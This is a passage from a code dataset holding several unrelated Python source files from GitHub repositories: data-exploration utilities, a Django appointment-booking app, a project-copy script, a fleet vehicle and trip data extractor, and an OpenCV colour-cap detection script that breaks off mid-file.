explore_data(data_frame = None):\n        \"\"\"\n            Performs the initial exploration of data, without distinguishig between input and output variables\n            in order to detect basic anomalies in data and empty columns.\n        \"\"\"\n        if data_frame is None:\n            raise Exception('Impossible to work with no data!')\n\n        df = data_frame\n        keys = list()\n        data_info = dict()\n        for attribute_name in df.columns:\n            keys.append(attribute_name)\n            X = df[attribute_name].copy()\n            d_type = dict()\n            for x in X:\n                t = type(x)\n                if t in d_type:\n                    d_type[type(x)] += 1.0\n                else:\n                    d_type[type(x)] = 1.0\n            #\n            type_ = None\n            rate_ = 0\n            for k in d_type.keys():\n                c = d_type[k] / len(X)\n                if c > rate_:\n                    type_ = k\n                    rate_ = c\n            #\n            print(attribute_name, len(d_type), d_type, rate_, type_)\n\n            if rate_ < 0.90:\n                raise Exception('Unbalanced data type in attribute!')\n\n            if type_ in [float, numpy.float32, numpy.float64]:\n                min_value = -1.0\n                for i in range(len(X)):\n                    if X[i] == X[i]: min_value = min(X[i],min_value)\n                empty_value = min_value - 10\n                for i in range(len(X)):\n                    if X[i] != X[i]: X[i] = empty_value\n                type_ = FeatureExtractor.RANGE_OF_VALUES\n                #\n            elif type_ in [int, numpy.int32, numpy.int64]:\n                min_value = -1\n                for i in range(len(X)):\n                    if X[i] == X[i]: min_value = min(X[i],min_value)\n                empty_value = min_value - 10.0\n                for i in range(len(X)):\n                    if X[i] != X[i]: X[i] = empty_value\n                type_ = FeatureExtractor.NUMERICAL\n                #\n            elif type_ in [str]:\n                empty_value = \"<empty>\"\n                for i in range(len(X)):\n                    if X[i] != X[i]:\n                        X[i] = empty_value\n                type_ = FeatureExtractor.CATEGORICAL\n                #\n            else:\n                raise Exception('Unexpected data type in attribute!')\n\n            excluded_values = [empty_value]\n\n            X = numpy.array(X)\n                \n            try:\n                uniqueX = numpy.unique(X)\n            except:\n                for v in x : print(v, end = ' ')\n                sys.exit(1)\n\n            print('%12s |different values| = %d' % (' ', len(uniqueX)))\n            if len(uniqueX) < 20 :\n            #if len(uniqueX) < 0.1 * len(X) :\n                print('%12s ' % ' ', uniqueX)\n\n            if type_ == FeatureExtractor.NUMERICAL: # in [int, numpy.int32, numpy.int64]:\n                #\n                if len(uniqueX) <= 100:\n                    set_of_values=list()\n                    for value in uniqueX:\n                        if value not in excluded_values:\n                            set_of_values.append(value)\n                    min_value = None\n                    max_value = None\n                    num_intervals=None\n                    type_ = FeatureExtractor.CATEGORICAL\n                else:\n                    min_value = uniqueX[uniqueX > empty_value].min()\n                    max_value = uniqueX.max()\n                    print('%12s Range: ' % ' ', min_value, ' .. ', max_value)\n                    num_intervals = min(len(uniqueX), 100)\n                    set_of_values = None\n                #\n            elif type_ == FeatureExtractor.RANGE_OF_VALUES: #in [float, numpy.float32, numpy.float64]:\n                #\n                min_value = uniqueX[uniqueX > empty_value].min()\n                max_value = uniqueX.max()\n                print('%12s Range: ' % ' ', min_value, ' .. ', max_value)\n                num_intervals = min(len(uniqueX), 100)\n                set_of_values = None\n                #\n            else:\n                for i in range(len(uniqueX)):\n                    uniqueX[i] = uniqueX[i].replace(' ', '%20')\n                min_value = None\n                max_value = None\n                num_intervals = None\n                set_of_values = list()\n                for value in uniqueX:\n                    if value not in excluded_values:\n                        set_of_values.append(value)\n            print()\n\n            data_info[attribute_name] = {'type' : type_,\n                                         'excluded' : excluded_values,\n                                         'min' : min_value,\n                                         'max' : max_value,\n                                         'num_intervals' : num_intervals,\n                                         'set_of_values' : set_of_values};\n\n        return keys,data_info\n    # -----------------------------------------------------------------------------------------\n\n    # -----------------------------------------------------------------------------------------\n    def re_explore_data(data_frame = None, keys = None, data_info = None):\n        \n        for key in keys:\n            d = data_info[key]\n            X = data_frame[key].copy()\n\n            type_ = d['type']\n            min_ = d['min']\n            max_ = d['max']\n            num_intervals = d['num_intervals']\n            set_of_values = d['set_of_values']\n            excluded = d['excluded']\n\n            if   type_ == FeatureExtractor.CATEGORICAL:\n                pass\n\n            elif type_ == FeatureExtractor.NUMERICAL:\n                d['min'] = int(d['min'])\n                d['max'] = int(d['max'])\n\n            elif type_ == FeatureExtractor.INTEGER:\n                pass\n            elif type_ == FeatureExtractor.RANGE_OF_VALUES:\n                pass\n\n            elif type_ == FeatureExtractor.PERCENTILES:\n\n                if set_of_values is None:\n\n                    X.fillna(value = excluded[0], inplace = True)\n                    a = list()\n                    for x in X:\n                        if x not in excluded: a.append(x)\n                    X = numpy.array(a)\n                    X.sort()\n                    step = int(len(X) / (num_intervals - 2))\n                    V = list()\n                    for i in range(0, len(X), step):\n                        if X[i] not in V:\n                            V.append(X[i])\n                    V.append(X[-1])\n\n                    d['set_of_values'] = numpy.array(V)\n                    d['num_intervals'] = len(V)\n                    d['min'] = None\n                    d['max'] = None\n\n            elif type_ == FeatureExtractor.ZERO_MEAN_VARIANCE_ONE:\n\n                a = list()\n                for x in X:\n                    if x not in excluded and x == x: a.append(x)\n                X = numpy.array(a)\n                mean = X.mean()\n                std = X.std()\n                #print(X, mean, std)\n\n                d['set_of_values'] = [mean, std]\n                d['num_intervals'] = None\n                d['min'] = None\n                d['max'] = None\n\n            else:\n                raise Exception('Unexpected data type : %s !' % type_)\n    # -----------------------------------------------------------------------------------------\n","repo_name":"jonandergomez/machine_learning_for_students","sub_path":"data_tools/FeatureExtractor.py","file_name":"FeatureExtractor.py","file_ext":"py","file_size_in_byte":15021,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"18918162879","text":"# result_sum\tThe result of adding first_number and second_number. This variable is already declared in the example code above.\r\n# result_difference\tThe result of subtracting second_number from first_number.\r\n# result_product\tThe result of multiplying first_number and second_number.\r\n# result_quotient\tThe result of dividing first_number by second_number.\r\n\r\n\r\n\r\n\r\nimport sys\r\n\r\n# This code reads in arguments and converts those inputs to decimal numbers\r\nfirst_number = float(sys.argv[1])\r\nsecond_number = float(sys.argv[2])\r\n\r\nresult_sum = first_number + second_number\r\nresult_difference = first_number - second_number\r\nresult_product = first_number * second_number\r\nresult_quotient\t= first_number / second_number\r\n\r\n#print(f\"{first_number} plus {second_number} equals {result_sum}\")\r\n\r\n","repo_name":"bboymojala/python-playpen","sub_path":"numbers.py","file_name":"numbers.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"25424638200","text":"#Request Handling resources\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import ( \n                                render,\n                                redirect\n                             )\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.views import generic\nfrom django.views.generic import View \n# Rest Framework Views for REST API \nfrom rest_framework.views import APIView\nfrom django.views.generic.edit import (\n                                        DeleteView , \n                                        UpdateView\n                                      )\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom .serializers import CitaSerializer\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n# Model forms \nfrom forms import CitaForm , UpdateCitaForm\n# Models \nfrom datetime import datetime\nfrom models import Cita\ndef index(request):\n    lista_de_citas_de_hoy  =  Cita.objects.filter(\n                                        fecha_cita__year = datetime.now().year, \n                                        fecha_cita__month = datetime.now().month,\n                                        fecha_cita__day = datetime.now().day\n                                        )\n    context = {\n        \"object_list\": lista_de_citas_de_hoy\n    }\n    return render(request,'cita_templates/cita.template.html',context)\nclass DeleteCita(generic.DeleteView):\n    model = Cita\n    success_url  =  reverse_lazy('cita:index')\ndef tomorrow(request):\n    queryset_list = Cita.objects.filter(\n                                      fecha_cita__year = datetime.now().year,\n                                      fecha_cita__month = datetime.now().month,\n                                      fecha_cita__day = datetime.now().day + 1\n    )\n    context = {\n        \"object_list\": queryset_list\n    } \n    return render(request,'cita_templates/cita.template.html',context)\ndef month(request):\n    queryset_list = Cita.objects.filter(\n                                      fecha_cita__year = datetime.now().year,\n                                      fecha_cita__month = datetime.now().month\n    )\n    context = {\n        \"object_list\": queryset_list\n    } \n    return render(request,'cita_templates/cita.template.html',context)\ndef all_citas(request):\n    allcitas = Cita.objects.all()\n    context = {\n        \"object_list\": allcitas\n    }\n    return render (request,'cita_templates/cita.template.html',context)\nclass UpdateCitaView(generic.UpdateView):\n    model = Cita\n    form_class = UpdateCitaForm\n    success_url  =  reverse_lazy('cita:index')\ndef book(request):\n    form = CitaForm(request.POST or None)\n    context = { \n          \"form\": form \n    }\n    if request.method == 'POST':\n        form = CitaForm(request.POST or None)\n        if form.is_valid():\n            nombre_cliente = form.cleaned_data['nombre_cliente']\n            telefono_cliente = form.cleaned_data['telefono_cliente']\n            direccion = form.cleaned_data['direccion']\n            fecha_cita = form.cleaned_data['fecha_cita']\n            cliente = {\n                \"cliente\":  nombre_cliente,\n                \"fecha_cita\": fecha_cita,\n                \"telefono\":  telefono_cliente\n            }\n            cita = form.save(commit=False)\n            cita.save()\n            return render(request,'cita_templates/thx.html',cliente)\n    else:    \n        form = CitaForm(request.POST or None)\n        context = {\n          \"form\": form \n        }\n    return render(request, 'cita_templates/cita_form.html',context)\nclass ListaDeCitas(APIView):\n    def get(self , request):\n        citas  =  Cita.objects.all()\n        serializer = CitaSerializer(citas, many=True)\n        return Response(serializer.data)\n","repo_name":"victorhugojmz/barbershop","sub_path":"cita/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3749,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"26869827154","text":"\"\"\"\nThis script initializes new pytorch project with the template files.\nRun `python3 new_project.py ../NewProject` then a new project named\nNewProject will be created\n\"\"\"\nimport sys\nfrom pathlib import Path\nfrom shutil import copytree, ignore_patterns\n\n\ncurrent_dir = Path()\nassert (current_dir / 'copy_project.py').is_file(), 'Script should be executed in the pytorch-project-template directory'\nassert len(sys.argv) == 2, 'Specify a name for the new project. Example: python3 copy_project.py DIR_PATH_TO_NEW_PROJECT'\n\nproject_name = Path(sys.argv[1])\ntarget_dir = current_dir / project_name\n\nignore = [\".git\", \"data\", \"copy_project.py\", \"venv*\",\n          \"logs*\", \"checkpoints*\", \"experiments*\",\n          \"__pycache__\", \".DS_Store\"]\n\ncopytree(current_dir, target_dir, ignore=ignore_patterns(*ignore))\nprint('New project initialized at', target_dir.absolute().resolve())\n","repo_name":"SamSamhuns/pytorch_project_template","sub_path":"copy_project.py","file_name":"copy_project.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"1019572755","text":"import datetime\nimport json\nimport os\nimport pickle\nimport time\nimport urllib.parse\n\nimport pandas as pd\nimport requests\nfrom sqlalchemy import and_\nfrom sqlalchemy.orm.query import Query\n\ntry:\n    from fleetmanager.model.roundtripgenerator import trip_aggregator\n    from fleetmanager.data_access import (\n        AllowedStarts,\n        Cars,\n        RoundTrips,\n        FuelTypes,\n        VehicleTypes,\n        Trips,\n        engine_creator,\n        session_factory,\n    )\nexcept ImportError:\n    from roundtripgenerator import trip_aggregator\n    from data_access import (\n        AllowedStarts,\n        Cars,\n        RoundTrips,\n        FuelTypes,\n        VehicleTypes,\n        Trips,\n        engine_creator,\n        session_factory,\n    )\n\npath_default_cars = \"_default_cars.pkl\"\npath_default_allowed_starts = \"_default_starts.pkl\"\n\nif os.path.exists(path_default_cars):\n    cleaned_cars = pickle.load(open(path_default_cars, \"rb\"))\nelse:\n    cleaned_cars = pd.DataFrame()\nif os.path.exists(path_default_allowed_starts):\n    cleaned_starts = pickle.load(open(path_default_allowed_starts, \"rb\"))\nelse:\n    cleaned_starts = pd.DataFrame()\n\n\ndef quantize_months(start_date, end_date, days=28):\n    \"\"\"\n    Getting tuples of dates from start_date to end_date split by days length.\n\n    Parameters\n    ----------\n    start_date  :   datetime, the date to start the quantisation\n    end_date    :   datetime, the date to end the quantisation\n    days    :   time between output (start, end)\n\n    Returns\n    -------\n    list of date tuples\n    \"\"\"\n    month_tuples = []\n    date_index = start_date\n    stop = False\n    while True:\n        next_month = date_index + datetime.timedelta(days=days)\n        if next_month > end_date:\n            stop = True\n            next_month = end_date\n        if (next_month - date_index).days == days or stop:\n            month_tuples.append((date_index.isoformat(), next_month.isoformat()))\n        date_index = next_month\n        if stop:\n            break\n    return month_tuples\n\n\ndef run_request(uri, params):\n    \"\"\"\n    Wrapper to retry request if it fails\n    \"\"\"\n    while True:\n        response = requests.get(uri, params=params)\n        if response.status_code != 429:\n            break\n        print(\"Too many requests retrying...\")\n        time.sleep(3)  # Handle too many requests\n    return response\n\n\ndef get_latlon_address(address):\n    \"\"\"\n    Fallback function if no gps coordination is associated with the address\n    \"\"\"\n    osm_url = (\n        \"https://nominatim.openstreetmap.org/search/\"\n        + urllib.parse.quote(address)\n        + \"?format=json\"\n    )\n    response = requests.get(osm_url).json()\n    if len(response) == 0:\n        return [None, None]\n    return [float(response[0][\"lat\"]), float(response[0][\"lon\"])]\n\n\ndef get_or_create(Session, model, parameters):\n    \"\"\"\n    Search for an object in the db, create it if it doesn't exist\n    return on both scenarios\n    \"\"\"\n    with Session.begin() as session:\n        instance = session.query(model).filter_by(id=parameters[\"id\"]).first()\n        if instance:\n            session.expunge_all()\n    if instance:\n        return instance\n    else:\n        instance = model(**parameters)\n        with Session.begin() as session:\n            session.add(instance)\n            session.commit()\n        return instance\n\n\ndef update_car(vehicle, saved_car):\n    \"\"\"returns true if saved car values are not equal to the new vehicle input\"\"\"\n    for key, value in vehicle.items():\n        if pd.isna(value) and pd.isna(saved_car[key]):\n            continue\n        if value != saved_car[key]:\n            return True\n    return False\n\n\nblacklist_id = []  # placeholder for location that you don't want loaded\nid_to_latlon = {}  # placeholder for places that don't have an associated lat/lon\nfuel_to_type = {\n    # benzin til fossilbil\n    1: 4,\n    # diesel til fossilbil\n    2: 4,\n    # el til elbil\n    3: 3,\n}\n\ndefault_types = {\n    \"Zoe\": {\"fuel\": 3, \"type\": 3},\n    \"Kona\": {\"fuel\": 3, \"type\": 3},\n    \"E-NV200\": {\"fuel\": 3, \"type\": 3},\n    \"Berlingo\": {\"fuel\": 1, \"type\": 4},\n    \"Transit\": {\"fuel\": 2, \"type\": 4},\n    \"Caddy\": {\"fuel\": 1, \"type\": 4},\n    \"Yaris\": {\"fuel\": 1, \"type\": 4},\n    \"Bipper\": {\"fuel\": 2, \"type\": 4},\n    \"Jumper\": {\"fuel\": 2, \"type\": 4},\n    \"Partner\": {\"fuel\": 2, \"type\": 4},\n    \"Kangoo\": {\"fuel\": 3, \"type\": 3},\n}\n\nif __name__ == \"__main__\":\n    key = os.environ[\"API_KEY\"]\n    url = \"https://app.ecofleet.com/seeme/\"\n\n    now = datetime.datetime.now()\n\n    engine = engine_creator(\n        db_name=os.environ[\"DB_NAME\"],\n        db_password=os.environ[\"DB_PASSWORD\"],\n        db_user=os.environ[\"DB_USER\"],\n        db_url=os.environ[\"DB_URL\"],  # \"host.docker.internal:3306\",#\"localhost\",\n        db_server=\"mysql\",\n    )\n    Session = session_factory(engine)\n\n    params = {\"key\": key, \"json\": \"\"}\n    # default values\n    sacred_starts = []\n\n    for clean_start in cleaned_starts.to_dict(\"records\"):\n        sacred_starts.append(clean_start[\"id\"])\n        clean_start = {\n            key: None if pd.isna(value) else value\n            for key, value in clean_start.items()\n            if key in AllowedStarts.__dict__.keys()\n        }\n        get_or_create(Session, AllowedStarts, clean_start)\n\n    # AllowedStarts start\n    places_response = requests.get(url + \"Api/Places/get\", params=params)\n    allowed_starts = []\n    current_starts = pd.read_sql(Query(AllowedStarts).statement, engine)\n    for place in json.loads(places_response.content)[\"response\"]:\n        id_ = place[\"id\"]\n        if (\n            id_ in blacklist_id\n            or id_ in current_starts.id.values\n            or id_ in sacred_starts\n        ):\n            # don't add if the place already exist\n            continue\n        lat, lon = get_latlon_address(place[\"name\"])\n        if lat is None and id_ not in id_to_latlon:\n            print(f\"Failed getting lat/lon for place(id={id_}, name={place['name']})\")\n            continue\n        if lat is None:\n            lat, lon = id_to_latlon[place[\"id\"]]\n        allowed_starts.append(\n            AllowedStarts(\n                id=int(place[\"id\"]), address=place[\"name\"], latitude=lat, longitude=lon\n            )\n        )\n    with Session.begin() as sess:\n        sess.add_all(allowed_starts)\n    # AllowedStarts end\n\n    # default values\n    sacred = []\n    for clean_car in cleaned_cars.to_dict(\"records\"):\n        sacred.append(clean_car[\"id\"])\n        clean_car = {\n            key: None if pd.isna(value) else value\n            for key, value in clean_car.items()\n            if key in Cars.__dict__.keys()\n        }\n        get_or_create(Session, Cars, clean_car)\n\n    # Cars start\n    # getting vehicle settings for setting type ids on the cars\n    starts = pd.read_sql(Query(AllowedStarts).statement, engine)\n    fuel_settings = pd.read_sql(Query(FuelTypes).statement, engine)\n    vehicle_settings = pd.read_sql(Query(VehicleTypes).statement, engine)\n    vehicles_response = requests.get(url + \"Api/Vehicles/get\", params=params)\n    cars = json.loads(vehicles_response.content)[\"response\"]\n    # get currently saved cars to update if changes and save new ones\n    current_cars = pd.read_sql(Query(Cars).statement, engine)\n    update_cars = []\n    ups = []\n    for car in cars:\n        id_ = car[\"id\"]\n\n        if (\n            pd.isna(car[\"booking\"][\"homeLocation\"])\n            or car[\"booking\"][\"homeLocation\"] not in starts.id.values\n        ):\n            print(\n                f\"Car {id_} did not have any homeLocation or saved location: {car['booking']['homeLocation']}\"\n            )\n            continue\n\n        if id_ in sacred:\n            # todo temporary value to persist the default values\n            continue\n\n        plate = car[\"plate\"]\n        if plate is not None and len(plate) > 7:\n            plate = plate[:7]\n\n        if all(\n            [plate is None, car[\"info\"][\"make\"] is None, car[\"info\"][\"model\"] is None]\n        ):\n            continue\n\n        fuel = None\n        vehicle_type = None\n        if car[\"info\"][\"fuelType\"]:\n            fuel = car[\"info\"][\"fuelType\"]\n            if fuel in fuel_settings.name.values:\n                fuel = int(\n                    fuel_settings[fuel_settings.name == fuel].refers_to.values[0]\n                )\n            else:\n                fuel = None\n\n        if car[\"info\"][\"vehicleType\"]:\n            # check the refers to\n            vehicle_type = car[\"info\"][\"vehicleType\"]\n            if vehicle_type in vehicle_settings.name.values:\n                vehicle_type = int(\n                    vehicle_settings[\n                        vehicle_settings.name == vehicle_type\n                    ].refers_to.values[0]\n                )\n            else:\n                vehicle_type = None\n        if vehicle_type is None and fuel:\n            # best guess\n            vehicle_type = fuel_to_type[fuel]\n\n        model = car[\"info\"][\"model\"]\n        if vehicle_type is None and fuel is None and model in default_types.keys():\n            fuel = default_types[model][\"fuel\"]\n            vehicle_type = default_types[model][\"type\"]\n\n        location = (\n            None\n            if car[\"booking\"][\"homeLocation\"] is None\n            else int(car[\"booking\"][\"homeLocation\"])\n        )\n        car_details = dict(\n            id=car[\"id\"],\n            plate=plate,\n            make=car[\"info\"][\"make\"],\n            model=car[\"info\"][\"model\"],\n            type=vehicle_type,\n            fuel=fuel,\n            # todo implement \"auto fill\" if the below metrics doesn't exist and similar make model exist\n            wltp_fossil=None,  # todo update when we receive confirmation\n            wltp_el=None,  # todo update when we receive confirmation\n            co2_pr_km=None,  # todo update when we receive confirmation\n            range=None,  # todo update when we receive confirmation\n            location=location,\n        )\n\n        update_existing_car = False\n        if id_ in current_cars.id.values:\n            if not update_car(\n                car_details, current_cars[current_cars.id == id_].iloc[0]\n            ):\n                continue\n            else:\n                current_car = get_or_create(Session, Cars, {\"id\": id_})\n                update_existing_car = True\n\n        if update_existing_car:\n            for key, value in car_details.items():\n                if key == \"id\":\n                    continue\n                setattr(current_car, key, value)\n            update_cars.append(current_car)\n        else:\n            update_cars.append(Cars(**car_details))\n    if update_cars:\n        with Session.begin() as sess:\n            sess.add_all(update_cars)\n    # Cars end\n\n    # Trips start\n    start_date = None\n    all_cars = pd.read_sql(Query(Cars).statement, engine)\n    start_locations = pd.read_sql(Query(AllowedStarts).statement, engine)\n    address2id = {a.address: a.id for a in start_locations.itertuples()}\n\n    for car in all_cars.itertuples():\n        lat, lon, address_id = None, None, None\n        if not pd.isna(car.location) and int(car.location) in start_locations.id.values:\n            lat, lon, address_id = start_locations[start_locations.id == car.location][\n                [\"latitude\", \"longitude\", \"id\"]\n            ].values[0]\n        else:\n            continue\n\n        car_trips = []  # for holding new unseen trips\n        untripped = []  # for holding saved trips that is not part of a roundtrip\n        saved_id = []\n        tripped = 0\n        start_date = datetime.datetime(year=2022, month=1, day=20)\n        if car.id in current_cars.id.values:\n            last_roundtrip = pd.read_sql(\n                Query(RoundTrips.end_time)\n                .filter(RoundTrips.car_id == car.id)\n                .order_by(RoundTrips.start_time.desc())\n                .limit(1)\n                .statement,\n                engine,\n            ).end_time\n            # pull in trips from last untripped trips\n            if len(last_roundtrip):\n                pull_date = last_roundtrip[0]\n            else:\n                pull_date = start_date\n            untripped = pd.read_sql(\n                Query(Trips)\n                .filter(and_(Trips.car_id == car.id, Trips.start_time > pull_date))\n                .order_by(Trips.start_time.asc())\n                .statement,\n                engine,\n            )\n            if len(untripped):\n                start_date = untripped.iloc[-1].end_time\n                untripped = untripped\n                saved_id = untripped.id.values\n            else:\n                start_date = pull_date\n                untripped = pd.DataFrame()\n        month_pairs = quantize_months(start_date, now)\n\n        for k, (start_month, end_month) in enumerate(month_pairs):\n            params = {\n                \"key\": key,\n                \"objectId\": car.id,\n                \"begTimestamp\": start_month,\n                \"endTimestamp\": end_month,\n                \"json\": \"\",\n            }\n            response_ = run_request(url + \"Api/Vehicles/getTrips\", params=params)\n            response = json.loads(response_.content)[\"response\"]\n            if k == 0 and len(untripped) > 0:\n                response = untripped.to_dict(\"records\") + response\n            for i, trip in enumerate(response):\n\n                if trip[\"id\"] not in saved_id:\n                    start_location = (\n                        None\n                        if trip[\"startLocation\"] not in address2id\n                        else address2id[trip[\"startLocation\"]]\n                    )\n\n                    car_trips.append(\n                        dict(\n                            id=trip[\"id\"],\n                            car_id=car.id,\n                            distance=trip[\"distance\"],\n                            start_time=datetime.datetime.fromisoformat(\n                                trip[\"startTimestamp\"][:-5]\n                            ),\n                            end_time=datetime.datetime.fromisoformat(\n                                trip[\"endTimestamp\"][:-5]\n                            ),\n                            start_latitude=trip[\"startLatitude\"],\n                            start_longitude=trip[\"startLongitude\"],\n                            end_latitude=trip[\"endLatitude\"],\n                            end_longitude=trip[\"endLongitude\"],\n                            start_location=start_location,\n                            driver_name=None,\n                        )\n                    )\n\n        sanitised = []\n        if car_trips:\n            trimmed = {a[\"id\"]: Trips(**a) for a in car_trips}\n            with Session.begin() as sess:\n                sess.add_all(list(trimmed.values()))\n            if type(untripped) is list:\n                untripped = pd.DataFrame()\n            trips = pd.concat([untripped, pd.DataFrame(car_trips)])\n            sanitised = trip_aggregator(car, trips, start_locations)\n\n        if sanitised:\n            with Session.begin() as sess:\n                sess.add_all(\n                    [\n                        RoundTrips(\n                            **{\n                                key: None if pd.isna(value) else value\n                                for key, value in route.items() if key in RoundTrips.__dict__.keys()\n                            }\n                        )\n                        for route in sanitised\n                    ]\n                )\n\n        if car_trips:\n            print(\n                f\"Car: {car.id}, saved {len(trips)} new trips and {len(sanitised)} roundtrips. \"\n                f\"Ratio {sum([len(a['ids']) for a in sanitised])/len(trips)}\"\n            )\n","repo_name":"syddjurs/IFKK","sub_path":"FleetCompleteExtractor/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"41653507567","text":"import cv2\nimport numpy as np\nimport os\nfrom matplotlib import pyplot as plt\n\nshow_imgs = True\nimg_width = 800\nimg_height = 600\nimport imutils\n\nmin_radius_treshold = 40\n\ncolor2range = {\n    'yellow':{\n        \"l_h\": 21,\n        \"l_s\": 67,\n        \"l_v\": 59,\n        \"u_h\": 29,\n        \"u_s\": 255,\n        \"u_v\": 255\n    },\n    'green':{\n        \"l_h\": 73,\n        \"l_s\": 42,\n        \"l_v\": 0,\n        \"u_h\": 100,\n        \"u_s\": 255,\n        \"u_v\": 112\n    },\n    'red':{\n        \"l_h\": 0,\n        \"l_s\": 40,\n        \"l_v\": 0,\n        \"u_h\": 9,\n        \"u_s\": 255,\n        \"u_v\": 255\n    },\n}\n\ncolor2code = (\n    ['red', (0, 0, 255)],\n    ['green', (0, 255, 0)],\n    ['yellow', (0, 255, 255)]\n)\n\ncolor2code = (\n    ['red', (0, 0, 255)],\n    ['green', (0, 255, 0)],\n    ['yellow', (0, 255, 255)]\n)\n\n\ndef load_images_rgb(path_to_dir):\n    images = []\n\n    for filename in reversed(sorted(os.listdir(path_to_dir))):\n        image_bgr = cv2.imread(os.path.join(path_to_dir, filename), )\n        image_rgb = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\n        image_rgb_res = cv2.resize(image_rgb, (img_width, img_height))\n        # image_hsv = cv2.cvtColor(image_rgb_res, cv2.COLOR_RGB2HSV)\n        images.append(image_rgb_res)\n\n    return images\n\n\ndef get_mask_bitwise(img_hsv, color_range):\n    lower_color = np.array([color_range['l_h'], color_range['l_s'], color_range['l_v']])\n    upper_color = np.array([color_range['u_h'], color_range['u_s'], color_range['u_v']])\n\n    mask = cv2.inRange(img_hsv, lower_color, upper_color)\n    img_rgb = cv2.cvtColor(img_hsv, cv2.COLOR_HSV2BGR)\n    result = cv2.bitwise_and(img_rgb, img_rgb, mask=mask)\n\n    return result\n\nclass CenterPoint:\n    def __init__(self, x, y):\n        self.x = x\n        self.y = y\n\n\nclass BounedRect:\n    def __init__(self, x1, y1, x2, y2):\n        self.x1 = x1\n        self.y1 = y1\n        self.x2 = x1 + x2\n        self.y2 = y1 + y2\n\n\nclass Сap:\n    def __init__(self, center, bound_rect):\n        self.center_point = CenterPoint(*center)\n        self.bounded_rect = BounedRect(*bound_rect)\n\n    def __repr__(self):\n        return \"center ({0}, {1})\\nbounded box (({2}, {3}), ({4}, {5}))\".format(\n            self.center_point.x,\n            self.center_point.y,\n            self.bounded_rect.x1,\n            self.bounded_rect.y1,\n            self.bounded_rect.x2,\n            self.bounded_rect.y2\n        )\n\n\ndef get_caps(contours):\n    caps = []\n    for i, c in enumerate(contours):\n        contours_poly = cv2.approxPolyDP(c, 3, True)\n        boundRect = cv2.boundingRect(contours_poly)\n        centers, radius = cv2.minEnclosingCircle(contours_poly)\n        caps.append(Сap(centers, boundRect))\n    return caps\n\n\ndef get_pair_cap(caps):\n    caps = sorted(caps, key=lambda cap: cap.center_point.y)\n    tempt_caps = []\n    found_point_indices = []\n\n    for i, point1 in enumerate(caps):\n        # print('i', i)\n        # print('point1.center_point.x: ', point1.center_point.x)\n\n        if i in found_point_indices:\n            continue\n\n        for j, point2 in enumerate(caps):\n            if i == j:\n                continue\n\n            if j in found_point_indices:\n                continue\n\n            # print('j', j)\n            # print('point2.bounded_rect.x1 ', point2.bounded_rect.x1)\n            # print('point2.bounded_rect.x2 ', point2.bounded_rect.x2)\n            if ((point2.bounded_rect.x1 < point1.bounded_rect.x1) and \\\n                (point1.bounded_rect.x1 < point2.bounded_rect.x2)) or \\\n                    ((point2.bounded_rect.x1 < point1.bounded_rect.x2) and \\\n                     (point1.bounded_rect.x2 < point2.bounded_rect.x2)):\n                tempt_caps.append((point1, point2))\n                found_point_indices.append(i)\n                found_point_indices.append(j)\n                # print('find pairs: ', i, j)\n                break\n\n            # print()\n\n    return tempt_caps\n\n\ndef get_lower_cap(pairs_caps):\n    lower_cap = pairs_caps[0][0]\n    for pair_cap in pairs_caps:\n        for p in pair_cap:\n            if p.center_point.y > lower_cap.center_point.y:\n                lower_cap = p\n    return lower_cap\n\n\ndef remove_caps_not_belong_fork(pairs_caps):\n    if len(pairs_caps) == 2:\n        return pairs_caps\n    lower_cap = get_lower_cap(pairs_caps)\n    caps_belonging_fork = []\n    for i, pair_cap in enumerate(pairs_caps):\n        if pair_cap[0] != lower_cap and pair_cap[1] != lower_cap:\n            caps_belonging_fork.append(pair_cap)\n    return caps_belonging_fork\n\n\ndef fun_left_sorted_pairs_caps(caps_belonging_fork):\n    sorted_pairs_points = []\n\n    for i, pairs in enumerate(caps_belonging_fork):\n        if pairs[0].center_point.x > pairs[1].center_point.x:\n            sorted_pairs_points.append((pairs[1], pairs[0]))\n        else:\n            sorted_pairs_points.append((pairs[0], pairs[1]))\n    return sorted_pairs_points\n\n\ndef fun_up_sorted_pairs_caps(caps_belonging_fork):\n    sorted_pairs_points = []\n\n    for i, pairs in enumerate(caps_belonging_fork):\n        if pairs[0].center_point.y > pairs[1].center_point.y:\n            sorted_pairs_points.append((pairs[1], pairs[0]))\n        else:\n            sorted_pairs_points.append((pairs[0], pairs[1]))\n    return sorted_pairs_points\n\n\n#def draw_pairs(img_show, sorted_pairs_caps, color=(255,0,0)):\n#    img_show = img_rgb.copy()\n #   for pairs in sorted_pairs_caps:\n #       # print(pairs)\n #       colorr = color2code[color]\n #       cv2.line(img_show, (int(pairs[0].center_point.x), int(pairs[0].center_point.y)), (int(pairs[1].center_point.x), int(pairs[1].center_point.y)), colorr, 3)\n #   return img_show\n\n\ndef bounded_points(upper_caps):\n    left_point = int(upper_caps[0].center_point.x)\n    right_point = int(upper_caps[0].center_point.x)\n    upper_point = int(upper_caps[0].center_point.y)\n    fotter_point = int(upper_caps[0].center_point.y)\n\n    for p in upper_caps:\n        if p.center_point.y > fotter_point:\n            fotter_point = int(p.center_point.y)\n        if p.center_point.y < upper_point:\n            upper_point = int(p.center_point.y)\n\n        if p.center_point.x > right_point:\n            right_point = int(p.center_point.x)\n        if p.center_point.x < left_point:\n            left_point = int(p.center_point.x)\n\n    return upper_point, fotter_point, left_point, right_point\n\n\ndef vertical_cut(img):\n    y_virtical_cut = int(img.shape[0] / 2)\n    img_upper = img[0:y_virtical_cut,:,:]\n    img_lower = img[y_virtical_cut:img.shape[0], :,:]\n    return img_upper, img_lower\n\n\ndef horizont_cut(img):\n    